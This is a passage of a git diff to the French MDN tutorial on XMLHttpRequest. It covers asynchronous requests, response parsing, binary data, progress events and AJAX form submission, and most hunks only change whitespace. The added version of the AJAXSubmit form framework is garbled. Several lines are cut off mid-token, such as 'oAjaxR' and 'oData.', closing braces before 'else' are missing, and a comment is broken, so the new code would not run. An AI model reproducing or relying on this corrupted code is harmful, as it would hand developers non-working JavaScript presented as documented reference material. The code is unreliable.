cas, vous pourrez rencontrer l'erreur / exception "**not allowed by Access-Control-Allow-Headers in preflight response**" quand vous enverez une requête cross domains. Dans ce cas, vous devrez configurer {{HTTPHeader("Access-Control-Allow-Headers")}} dans votre réponse HTTP coté serveur. ## Syntax diff --git a/files/fr/web/api/xmlhttprequest/using_xmlhttprequest/index.md b/files/fr/web/api/xmlhttprequest/using_xmlhttprequest/index.md index ef65aa1245..9c366f23af 100644 --- a/files/fr/web/api/xmlhttprequest/using_xmlhttprequest/index.md +++ b/files/fr/web/api/xmlhttprequest/using_xmlhttprequest/index.md @@ -14,11 +14,11 @@ tags: translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest original_slug: Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest --- -[`XMLHttpRequest`](/en-US/docs/DOM/XMLHttpRequest) permet d'envoyer des requêtes HTTP de manière très simple. Il suffit de créer une instance de l'objet, d'ouvrir une URL, et d'envoyer la requête. Le [status HTTP](/en-US/docs/HTTP/HTTP_response_codes) du résultat, tout comme le contenu de la réponse, sont disponibles dans l'objet de la requête quand la transaction est terminée. Cette page présente quelques-uns des cas d'utilisation communs et même un peu obscurs pour cet objet JavaScript puissant. +[`XMLHttpRequest`](/en-US/docs/DOM/XMLHttpRequest) permet d'envoyer des requêtes HTTP de manière très simple. Il suffit de créer une instance de l'objet, d'ouvrir une URL, et d'envoyer la requête. Le [status HTTP](/en-US/docs/HTTP/HTTP_response_codes) du résultat, tout comme le contenu de la réponse, sont disponibles dans l'objet de la requête quand la transaction est terminée. Cette page présente quelques-uns des cas d'utilisation communs et même un peu obscurs pour cet objet JavaScript puissant. ```js function reqListener () { - console.log(this.responseText); + console.log(this.responseText); } var oReq = new XMLHttpRequest(); @@ -29,37 +29,37 @@ oReq.send(); ## Types de requêtes -Une demande faite via XMLHttpRequest peut récupérer les données dans l'une des deux façons, de manière asynchrone ou synchrone. Le type de demande est dictée par l'argument optionnel async (le troisième argument) qui est mis sur la méthode [open()](</en-US/docs/DOM/XMLHttpRequest#open()>) XMLHttpRequest (). Si cet argument est true ou non spécifié, l'objet XMLHttpRequest est traitée de manière asynchrone, sinon le processus est effectué de façon synchrone. Une discussion détaillée et des démonstrations de ces deux types de demandes peuvent être trouvés sur la page des [requêtes synchrones et asynchrones](/en-US/docs/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests). En général, vous devriez rarement, voire jamais, utiliser requêtes synchrones. +Une demande faite via XMLHttpRequest peut récupérer les données dans l'une des deux façons, de manière asynchrone ou synchrone. Le type de demande est dictée par l'argument optionnel async (le troisième argument) qui est mis sur la méthode [open()](</en-US/docs/DOM/XMLHttpRequest#open()>) XMLHttpRequest (). Si cet argument est true ou non spécifié, l'objet XMLHttpRequest est traitée de manière asynchrone, sinon le processus est effectué de façon synchrone. Une discussion détaillée et des démonstrations de ces deux types de demandes peuvent être trouvés sur la page des [requêtes synchrones et asynchrones](/en-US/docs/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests). En général, vous devriez rarement, voire jamais, utiliser requêtes synchrones. > **Note :** A partir de Gecko 30.0 {{ geckoRelease("30.0") }}, les requêtes synchrones sur le processus principal ont été dépréciées en raison de l'effet négatif sur l'expérience utilisateur. ## Gérer les réponses -Il existe plusieurs types [d'attributs de réponse](http://www.w3.org/TR/XMLHttpRequest2/#response) définies par la spécification W3C pour XMLHttpRequest. Ceci indique que le client faisant l'objet XMLHttpRequest des informations importantes sur l'état de la réponse. Certains cas où, traitant de types de réponse non-texte peuvent impliquer une certaine manipulation et l'analyse comme indiqué dans les sections suivantes. +Il existe plusieurs types [d'attributs de réponse](http://www.w3.org/TR/XMLHttpRequest2/#response) définies par la spécification W3C pour XMLHttpRequest. Ceci indique que le client faisant l'objet XMLHttpRequest des informations importantes sur l'état de la réponse. Certains cas où, traitant de types de réponse non-texte peuvent impliquer une certaine manipulation et l'analyse comme indiqué dans les sections suivantes. -### Analyser et manipuler la propriété `responseXML` +### Analyser et manipuler la propriété `responseXML` Si vous utilisez `XMLHttpRequest` pour obtenir le contenu d'un fichier XML distant, la propriété `responseXML` sera un objet DOM contenant le document XML parsé, qui peut être difficile à manipuler et analyser. Il y a quatre moyens principaux d'analyser ce document XML : -1. Utiliser [XPath](/en-US/docs/XPath) pour localiser des parties. -2. Utiliser [JXON](/en-US/docs/JXON) pour le convertir en Objet structuré JavaScript. -3. Manuellement [parser et serializer le XML](/en-US/docs/Parsing_and_serializing_XML) en chaînes de caractères ou en objets. -4. Utiliser [XMLSerializer](/en-US/docs/XMLSerializer) pour serializer **le DOM en chaînes ou en fichiers.** +1. Utiliser [XPath](/en-US/docs/XPath) pour localiser des parties. +2. Utiliser [JXON](/en-US/docs/JXON) pour le convertir en Objet structuré JavaScript. +3. Manuellement [parser et serializer le XML](/en-US/docs/Parsing_and_serializing_XML) en chaînes de caractères ou en objets. +4. Utiliser [XMLSerializer](/en-US/docs/XMLSerializer) pour serializer **le DOM en chaînes ou en fichiers.** 5. [`RegExp`](/fr/docs/Web/JavaScript/Reference/Global_Objects/RegExp) peut être utilisé si vous connaissez à l'avance le contenu du document XML. Vous pouvez supprimer les sauts de ligne si vous utilisez `RegExp` en prenant en compte ces sauts. Toutefois, cette méthode est un « dernier recours », car si le code XML change légèrement, la méthode échouera probablement. -### Analyser et manipuler une propriété `responseText` contenant un document HTML +### Analyser et manipuler une propriété `responseText` contenant un document HTML -> **Note :** La spécification W3C [XMLHttpRequest](http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html) autorise le HTML a être parsé via la propritété `XMLHttpRequest.responseXML`. Lisez l'article à propos du [HTML dans XMLHttpRequest](/en-US/docs/HTML_in_XMLHttpRequest) pour plus de détails. +> **Note :** La spécification W3C [XMLHttpRequest](http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html) autorise le HTML a être parsé via la propritété `XMLHttpRequest.responseXML`. Lisez l'article à propos du [HTML dans XMLHttpRequest](/en-US/docs/HTML_in_XMLHttpRequest) pour plus de détails. -Si vous utilisez `XMLHttpRequest` pour récupérer le contenu d'une page HTML distante, la propriété `responseText` est une chaîne de caractères contenant une "soupe" de tous les tags HTML, qui peut être difficile à manipuler et à analyser. Il y a trois moyens principaux d'analyser cette soupe de HTML : +Si vous utilisez `XMLHttpRequest` pour récupérer le contenu d'une page HTML distante, la propriété `responseText` est une chaîne de caractères contenant une "soupe" de tous les tags HTML, qui peut être difficile à manipuler et à analyser. Il y a trois moyens principaux d'analyser cette soupe de HTML : -1. Utiliser la propriété `XMLHttpRequest.responseXML`. -2. Injecter le contenu dans le body d'un [fragment de document](/en-US/docs/Web/API/DocumentFragment) via `fragment.body.innerHTML` et traverser le DOM du fragment. +1. Utiliser la propriété `XMLHttpRequest.responseXML`. +2. Injecter le contenu dans le body d'un [fragment de document](/en-US/docs/Web/API/DocumentFragment) via `fragment.body.innerHTML` et traverser le DOM du fragment. 3. [`RegExp`](/fr/docs/Web/JavaScript/Reference/Global_Objects/RegExp) peut être utilisé si vous connaissez à l'avance le contenu du document XML. Vous pouvez supprimer les sauts de ligne si vous utilisez `RegExp` en prenant en compte ces sauts. Toutefois, cette méthode est un « dernier recours », car si le code XML change légèrement, la méthode échouera probablement. ## Gérer les données binaires -Bien que `XMLHttpRequest` est le plus souvent utilisé pour envoyer et recevoir des données textuelles, on peut l'utiliser pour envoyer et recevoir du contenu binaire.Il existe plusieurs méthodes éprouvées pour contraindre la réponse d'un XMLHttpRequest en l'envoi de données binaires. Celles-ci impliquent d'utiliser la méthode .overrideMimeType() sur l'objet XMLHttpRequest, ce qui est une solution viable. +Bien que `XMLHttpRequest` est le plus souvent utilisé pour envoyer et recevoir des données textuelles, on peut l'utiliser pour envoyer et recevoir du contenu binaire.Il existe plusieurs méthodes éprouvées pour contraindre la réponse d'un XMLHttpRequest en l'envoi de données binaires. Celles-ci impliquent d'utiliser la méthode .overrideMimeType() sur l'objet XMLHttpRequest, ce qui est une solution viable. ```js var oReq = new XMLHttpRequest(); @@ -69,7 +69,7 @@ oReq.overrideMimeType("text/plain; charset=x-user-defined"); /* ... */ ``` -La Spécification XMLHttpRequest Niveau 2 ajoute de nouveaux [attributs responseType](http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute) qui permettent d'envoyer et de recevoir des données binaires plus facilement. +La Spécification XMLHttpRequest Niveau 2 ajoute de nouveaux [attributs responseType](http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute) qui permettent d'envoyer et de recevoir des données binaires plus facilement. ```js var oReq = new XMLHttpRequest(); @@ -77,19 +77,19 @@ var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.responseType = "arraybuffer"; oReq.onload = function(e) { - var arraybuffer = oReq.response; // n'est pas responseText - /* ... */ + var arraybuffer = oReq.response; // n'est pas responseText + /* ... */ } oReq.send(); ``` -Pour plus d'exemples, jettez un oeil à la page [Envoyer et recevoir des données binaires](/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data) +Pour plus d'exemples, jettez un oeil à la page [Envoyer et recevoir des données binaires](/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data) ## Surveiller la progression -`XMLHttpRequest` fournit la possibilité d'écouter différents évènements qui peuvent se produire pendant que la requête est traitée. Cela inclu des notifications de progression périodiques, des notifications d'erreur, ainsi de suite. +`XMLHttpRequest` fournit la possibilité d'écouter différents évènements qui peuvent se produire pendant que la requête est traitée. Cela inclu des notifications de progression périodiques, des notifications d'erreur, ainsi de suite. -Le support des évènements de progression DOM de `XMLHttpRequest` suit l'API web [de spécifications des évènements de progression](http://dev.w3.org/2006/webapi/progress/Progress.html): ils implémentent l'interface {{domxref("ProgressEvent")}}. +Le support des évènements de progression DOM de `XMLHttpRequest` suit l'API web [de spécifications des évènements de progression](http://dev.w3.org/2006/webapi/progress/Progress.html): ils implémentent l'interface {{domxref("ProgressEvent")}}. ```js var oReq = new XMLHttpRequest(); @@ -105,12 +105,12 @@ oReq.open(); // progression des transferts depuis le serveur jusqu'au client (téléchargement) function updateProgress (oEvent) { - if (oEvent.lengthComputable) { - var percentComplete = oEvent.loaded / oEvent.total; - // ... - } else { - // Impossible de calculer la progression puisque la taille totale est inconnue - } + if (oEvent.lengthComputable) { + var percentComplete = oEvent.loaded / oEvent.total; + // ... + } else { + // Impossible de calculer la progression puisque la taille totale est inconnue + } } function transferComplete(evt) { @@ -126,13 +126,13 @@ function transferCanceled(evt) { } ``` -Les lignes 3-6 ajoutent des écouteurs pour les différents évènements lancés pendant la transfert de données d'une `XMLHttpRequest`. +Les lignes 3-6 ajoutent des écouteurs pour les différents évènements lancés pendant la transfert de données d'une `XMLHttpRequest`. -> **Note :** Vous devez ajouter les écouteurs avant d'appeler `open()` sur la requête. Sinon, les évènements de progression ne seront pas lancés. +> **Note :** Vous devez ajouter les écouteurs avant d'appeler `open()` sur la requête. Sinon, les évènements de progression ne seront pas lancés. -Le gestionnaire de progression, spécifié par la fonction `updateProgress()` dans cet exemple, reçoit le nombre total de bytes à transférer ainsi que le nombre de bytes déjà transférés dans les champs `total` et `loaded`. Cependant, si le champ `lengthComputable` est false, la taille totale est inconnue et sera zéro. +Le gestionnaire de progression, spécifié par la fonction `updateProgress()` dans cet exemple, reçoit le nombre total de bytes à transférer ainsi que le nombre de bytes déjà transférés dans les champs `total` et `loaded`. Cependant, si le champ `lengthComputable` est false, la taille totale est inconnue et sera zéro. -Les évènements de progression sont disponibles pour l'envoi et la réception de données. Les évènements de téléchargement sont lancés sur l'objet `XMLHttpRequest` lui-même, comme montré dans l'exemple ci-dessus. Les évènements d'envoi (upload) sont lancés sur l'objet `XMLHttpRequest.upload`, comme montré ci-dessous: +Les évènements de progression sont disponibles pour l'envoi et la réception de données. Les évènements de téléchargement sont lancés sur l'objet `XMLHttpRequest` lui-même, comme montré dans l'exemple ci-dessus. Les évènements d'envoi (upload) sont lancés sur l'objet `XMLHttpRequest.upload`, comme montré ci-dessous: ```js var oReq = new XMLHttpRequest(); @@ -145,15 +145,15 @@ oReq.upload.addEventListener("abort", transferCanceled, false); oReq.open(); ``` -> **Note :** Les évènements de progression ne sont pas disponibles sur le protocole `file:`. +> **Note :** Les évènements de progression ne sont pas disponibles sur le protocole `file:`. -> **Note :** Actuellement, il y a encore des bugs ouverts pour les évènements de progression qui affectent la version 25 de Firefox sur [OS X](https://bugzilla.mozilla.org/show_bug.cgi?id=908375) et [Linux](https://bugzilla.mozilla.org/show_bug.cgi?id=786953). +> **Note :** Actuellement, il y a encore des bugs ouverts pour les évènements de progression qui affectent la version 25 de Firefox sur [OS X](https://bugzilla.mozilla.org/show_bug.cgi?id=908375) et [Linux](https://bugzilla.mozilla.org/show_bug.cgi?id=786953). -> **Note :** A partir de {{Gecko("9.0")}}, les évènements de progression peuvent désormais être assurément présents pour chaque morceau de données reçu, y compris le dernier morceau dans les cas où le dernier paquet est reçu et la connexion fermée avant que l'évènement ne soit lancé. Dans ce cas, l'évènement de progression est automatiquement lancé quand l'évènement load se produit pour ce paquet. Cela vous permet de surveiller fiablement la progression grâce à son évènement. +> **Note :** A partir de {{Gecko("9.0")}}, les évènements de progression peuvent désormais être assurément présents pour chaque morceau de données reçu, y compris le dernier morceau dans les cas où le dernier paquet est reçu et la connexion fermée avant que l'évènement ne soit lancé. Dans ce cas, l'évènement de progression est automatiquement lancé quand l'évènement load se produit pour ce paquet. Cela vous permet de surveiller fiablement la progression grâce à son évènement. -> **Note :** Dans {{Gecko("12.0")}}, si votre évènement de progression est appelé avec un `responseType` "moz-blob", la valeur de la réponse est un {{domxref("Blob")}} contenant les données reçues jusqu'à présent. +> **Note :** Dans {{Gecko("12.0")}}, si votre évènement de progression est appelé avec un `responseType` "moz-blob", la valeur de la réponse est un {{domxref("Blob")}} contenant les données reçues jusqu'à présent. -Une fonction peut aussi être appelée peu importe le status de fin de la requête (`abort`, `load`, ou `error`) en utilisant l'évènement `loadend` : +Une fonction peut aussi être appelée peu importe le status de fin de la requête (`abort`, `load`, ou `error`) en utilisant l'évènement `loadend` : ```js req.addEventListener("loadend", loadEnd, false); @@ -163,32 +163,32 @@ function loadEnd(e) { } ``` -Notez qu'il n'y a pas moyen d'être certain des informations reçues dans l'évènement `loadend` event comme la condition qui a causé la fin de l'opération; toutefois, vous pouvez utiliser cet évènement pour gérer les tâches qui doivent être exécutées dans tous les cas une fois un transfert terminé. +Notez qu'il n'y a pas moyen d'être certain des informations reçues dans l'évènement `loadend` event comme la condition qui a causé la fin de l'opération; toutefois, vous pouvez utiliser cet évènement pour gérer les tâches qui doivent être exécutées dans tous les cas une fois un transfert terminé. ## Envoyer des formulaires et uploader des fichiers -Les instances de `XMLHttpRequest` peuvent être utilisées pour envoyer des formulaires de deux façons : +Les instances de `XMLHttpRequest` peuvent être utilisées pour envoyer des formulaires de deux façons : - n'utiliser rien de plus qu'AJAX -- utiliser l'API [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData) +- utiliser l'API [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData) -La **seconde solution** (utiliser l'API [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData)) est la plus simple et la plus rapide, mais a le désavantage que les données collectées ne peuvent pas être [chainifiées](/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify). -La **première solution** est plutôt la plus complexe, mais se prête à être plus flexible et puissante. +La **seconde solution** (utiliser l'API [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData)) est la plus simple et la plus rapide, mais a le désavantage que les données collectées ne peuvent pas être [chainifiées](/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify). +La **première solution** est plutôt la plus complexe, mais se prête à être plus flexible et puissante. -### Rien de plus que `XMLHttpRequest` +### Rien de plus que `XMLHttpRequest` -Envoyer des formulaires sans l'API [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData) ne demande rien de plus, si ce n'est l'API [`FileReader`](/en-US/docs/DOM/FileReader), mais seulement **si vous voulez envoyer un fichier ou plus**. +Envoyer des formulaires sans l'API [`FormData`](/en-US/docs/DOM/XMLHttpRequest/FormData) ne demande rien de plus, si ce n'est l'API [`FileReader`](/en-US/docs/DOM/FileReader), mais seulement **si vous voulez envoyer un fichier ou plus**. #### Une brève introduction au méthodes de submission Un élément HTML {{ HTMLElement("form") }} peut être envoyé de quatre manières : -- en utilisant la méthode `POST` et en configurant son attribut `enctype` sur `application/x-www-form-urlencoded` (par défaut); -- en utilisant la méthode `POST` et en configurant son attribut `enctype` sur `text/plain`; -- en utilisant la méthode `POST` et en configurant son attribut `enctype` sur `multipart/form-data`; -- en utilisant la méthode `GET` (dans ce cas, l'attribut `enctype` sera ignoré). +- en utilisant la méthode `POST` et en configurant son attribut `enctype` sur `application/x-www-form-urlencoded` (par défaut); +- en utilisant la méthode `POST` et en configurant son attribut `enctype` sur `text/plain`; +- en utilisant la méthode `POST` et en configurant son attribut `enctype` sur `multipart/form-data`; +- en utilisant la méthode `GET` (dans ce cas, l'attribut `enctype` sera ignoré). -Maintenant, considérons qu'on envoie un formulaire contenant seulement deux champs, nommées `foo` et `baz`. Si vous utilisez la méthode `POST`, le serveur va recevoir une chaîne similaire à l'un des trois suivantes, en fonction de l'encodage que vous utilisez : +Maintenant, considérons qu'on envoie un formulaire contenant seulement deux champs, nommées `foo` et `baz`. Si vous utilisez la méthode `POST`, le serveur va recevoir une chaîne similaire à l'un des trois suivantes, en fonction de l'encodage que vous utilisez : - Méthode: `POST`; Encodage: `application/x-www-form-urlencoded` (par défaut): @@ -220,13 +220,13 @@ Maintenant, considérons qu'on envoie un formulaire contenant seulement deux cha -----------------------------314911788813839-- -Si vous utilisez la méthode `GET` à la place, une chaîne comme celle-ci sera simplement ajoutée à l'URL : +Si vous utilisez la méthode `GET` à la place, une chaîne comme celle-ci sera simplement ajoutée à l'URL : ?foo=bar&baz=The%20first%20line.%0AThe%20second%20line. #### Un petit framework vanilla -Tout celà est fait automatiquement par le serveur quand vous envoyez un {{ HTMLElement("form") }}. Mais si vous voulez faire la même chose en utilisant JavaScript vous devez _tout_ dire à l'interprète. Pour celà, la manière d'envoyer des formulaires en *pure* AJAX est trop compliquée pour être expliquée ici. Pour cette raison, nous avons posté un **framework complet (mais tout de même didactique)**, qui est capable d'utiliser les quatres méthodes de *submit* , et aussi de **transférer des fichiers**: +Tout celà est fait automatiquement par le serveur quand vous envoyez un {{ HTMLElement("form") }}. Mais si vous voulez faire la même chose en utilisant JavaScript vous devez _tout_ dire à l'interprète. Pour celà, la manière d'envoyer des formulaires en *pure* AJAX est trop compliquée pour être expliquée ici. Pour cette raison, nous avons posté un **framework complet (mais tout de même didactique)**, qui est capable d'utiliser les quatres méthodes de *submit* , et aussi de **transférer des fichiers**: ```html <!doctype html> @@ -240,140 +240,140 @@ Tout celà est fait automatiquement par le serveur quand vous envoyez un {{ HTML /*\ |*| -|*| :: XMLHttpRequest.prototype.sendAsBinary() Polyfill :: +|*| :: XMLHttpRequest.prototype.sendAsBinary() Polyfill :: |*| -|*| https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary() +|*| https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary() \*/ if (!XMLHttpRequest.prototype.sendAsBinary) { - XMLHttpRequest.prototype.sendAsBinary = function(sData) { - var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); - for (var nIdx = 0; nIdx < nBytes; nIdx++) { - ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; - } - /* send as ArrayBufferView...: */ - this.send(ui8Data); - /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */ - }; + XMLHttpRequest.prototype.sendAsBinary = function(sData) { + var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); + for (var nIdx = 0; nIdx < nBytes; nIdx++) { + ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; + } + /* send as ArrayBufferView...: */ + this.send(ui8Data); + /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */ + }; } /*\ |*| -|*| :: AJAX Form Submit Framework :: +|*| :: AJAX Form Submit Framework :: |*| -|*| https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest +|*| https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest |*| |*| This framework is released under the GNU Public License, version 3 or later. -|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html +|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| -|*| Syntax: +|*| Syntax: |*| -|*| AJAXSubmit(HTMLFormElement); +|*| AJAXSubmit(HTMLFormElement); \*/ var AJAXSubmit = (function () { - function ajaxSuccess () { - /* console.log("AJAXSubmit - Success!"); */ - alert(this.responseText); - /* you can get the serialized data through the "submittedData" custom property: */ - /* alert(JSON.stringify(this.submittedData)); */ - } - - function submitData (oData) { - /* the AJAX request... */ - var oAjaxReq = new XMLHttpRequest(); - oAjaxReq.submittedData = oData; - oAjaxReq.onload = ajaxSuccess; - if (oData.technique === 0) { - /* method is GET */ - oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length > 0 ? "?" + oData.segments.join("&") : ""), true); - oAjaxReq.send(null); - } else { - /* method is POST */ - oAjaxReq.open("post", oData.receiver, true); - if (oData.technique === 3) { - /* enctype is multipart/form-data */ - var sBoundary = "---------------------------" + Date.now().toString(16); - oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary); - oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n"); - } else { - /* enctype is application/x-www-form-urlencoded or text/plain */ - oAjaxReq.setRequestHeader("Content-Type", oData.contentType); - oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&")); - } - } - } - - function processStatus (oData) { - if (oData.status > 0) { return; } - /* the form is now totally serialized! do something before sending it to the server... */ - /* doSomething(oData); */ - /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */ - submitData (oData); - } - - function pushSegment (oFREvt) { - this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n"; - this.owner.status--; - processStatus(this.owner); - } - - function plainEscape (sText) { - /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */ - /* "4\3\7 - Einstein said E=mc2" ----> "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */ - return sText.replace(/[\s\=\\]/g, "\\$&"); - } - - function SubmitRequest (oTarget) { - var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post"; - /* console.log("AJAXSubmit - Serializing form..."); */ - this.contentType = bIsPost && oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded"; - this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0; - this.receiver = oTarget.action; - this.status = 0; - this.segments = []; - var fFilter = this.technique === 2 ? plainEscape : escape; - for (var nItem = 0; nItem < oTarget.elements.length; nItem++) { - oField = oTarget.elements[nItem]; - if (!oField.hasAttribute("name")) { continue; } - sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT"; - if (sFieldType === "FILE" && oField.files.length > 0) { - if (this.technique === 3) { - /* enctype is multipart/form-data */ - for (nFile = 0; nFile < oField.files.length; nFile++) { - oFile = oField.files[nFile]; - oSegmReq = new FileReader(); - /* (custom properties:) */ - oSegmReq.segmentIdx = this.segments.length; - oSegmReq.owner = this; - /* (end of custom properties) */ - oSegmReq.onload = pushSegment; - this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n"); - this.status++; - oSegmReq.readAsBinaryString(oFile); - } - } else { - /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */ - for (nFile = 0; nFile < oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name))); - } - } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) { - /* field type is not FILE or is FILE but is empty */ - this.segments.push( - this.technique === 3 ? /* enctype is multipart/form-data */ - "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n" - : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */ - fFilter(oField.name) + "=" + fFilter(oField.value) - ); - } - } - processStatus(this); - } - - return function (oFormElement) { - if (!oFormElement.action) { return; } - new SubmitRequest(oFormElement); - }; + function ajaxSuccess () { + /* console.log("AJAXSubmit - Success!"); */ + alert(this.responseText); + /* you can get the serialized data through the "submittedData" custom property: */ + /* alert(JSON.stringify(this.submittedData)); */ + } + + function submitData (oData) { + /* the AJAX request... */ + var oAjaxReq = new XMLHttpRequest(); + oAjaxReq.submittedData = oData; + oAjaxReq.onload = ajaxSuccess; + if (oData.technique === 0) { + /* method is GET */ + oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length > 0 ? "?" + oData.segments.join("&") : ""), true); + oAjaxReq.send(null); + else { + /* method is POST */ + oAjaxReq.open("post", oData. + if (oData.technique === 3) { + /* enctype is multipart/form-data */ + var sBoundary = "---------------------------" + Date.now().toString(16); + oAjaxR + oAjaxR + } else { + /* enctype is application/x-www-form-urlencoded or text/plain + oAjaxReq.setRequestHeader("Content-Type", oData.contentType); + oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&")); + } + } + } + + function processStatus (oData) { + if (oData.status > 0) { return; } + /* the form is now totally serialized! do something before sending it to the server... */ + /* doSomething(oData); */ + /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */ + submitData (oData); + } + + function pushSegment (oFREvt) { + this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n"; + this.owner.status--; + processStatus(this.owner); + } + + function plainEscape (sText) { + /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */ + /* "4\3\7 - Einstein said E=mc2" ----> "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */ + return sText.replace(/[\s\=\\]/g, "\\$&"); + } + + function SubmitRequest (oTarget) { + var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post"; + /* console.log("AJAXSubmit - Serializing form..."); */ + this.contentType = bIsPost && oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded"; + this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0; + this.receiver = oTarget.action; + this.status = 0; + this.segments = []; + var fFilter = this.technique === 2 ? plainEscape : escape; + for (var nItem = 0; nItem < oTarget.elements.length; nItem++) { + oField = oTarget.elements[nItem]; + if (!oField.hasAttribute("name")) { continue; } + sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT"; + if (sFieldType === "FILE" && oField.files.length > 0) { + if (this.technique === 3) { + /* enctype is multipart/form-data */ + for (nFile = 0; nFile < oField.files.length; nFile++) { + oFile = oField.files[nFile]; + oSegmReq = new FileReader(); + /* (custom properties:) */ + oSegmReq.segmentIdx = this.segments.length; + oSegmReq.owner = this; + /* (end of custom properties) */ + oSegmReq.onload = pushSegment; + this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n"); + this.status++; + oSegmReq.readAsBinaryString(oFile); + } + else { + /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */ + for (nFile = 0; nFile < oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name))); + } + else if ((sFieldTyp + /* field type is no + this.segments.push( + this.technique === 3 ? /* enctype is multipart/form-data */ + "Content-Disposition: form-data; name=\"" + oField + * enctype is application/x-www-form-urlencoded or + fFilter(oField.name) + "=" + fFilter(oField.value) + ); + } + } + processStatus(this); + } + + return function (oFormElement) { + if (!oFormElement.action) { return; } + new SubmitRequest(oFormElement); + }; })(); @@ -386,94 +386,94 @@ var AJAXSubmit = (function () { <h2>Using the GET method</h2> <form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"> - <fieldset> - <legend>Registration example</legend> - <p> - First name: <input type="text" name="firstname" /><br /> - Last name: <input type="text" name="lastname" /> - </p> - <p> - <input type="submit" value="Submit" /> - </p> - </fieldset> + <fieldset> + <legend>Registration example</legend> + <p> + First name: <input type="text" name="firstname" /><br /> + Last name: <input type="text" name="lastname" /> + </p> + <p> + <input type="submit" value="Submit" /> + </p> + </fieldset> </form> <h2>Using the POST method</h2> <h3>Enctype: application/x-www-form-urlencoded (default)</h3> <form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"> - <fieldset> - <legend>Registration example</legend> - <p> - First name: <input type="text" name="firstname" /><br /> - Last name: <input type="text" name="lastname" /> - </p> - <p> - <input type="submit" value="Submit" /> - </p> - </fieldset> + <fieldset> + <legend>Registration example</legend> + <p> + First name: <input type="text" name="firstname" /><br /> + Last name: <input type="text" name="lastname" /> + </p> + <p> + <input type="submit" value="Submit" /> + </p> + </fieldset> </form> <h3>Enctype: text/plain</h3> <form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;"> - <fieldset> - <legend>Registration example</legend> - <p> - Your name: <input type="text" name="user" /> - </p> - <p> - Your message:<br /> - <textarea name="message" cols="40" rows="8"></textarea> - </p> - <p> - <input type="submit" value="Submit" /> - </p> - </fieldset> + <fieldset> + <legend>Registration example</legend> + <p> + Your name: <input type="text" name="user" /> + </p> + <p> + Your message:<br /> + <textarea 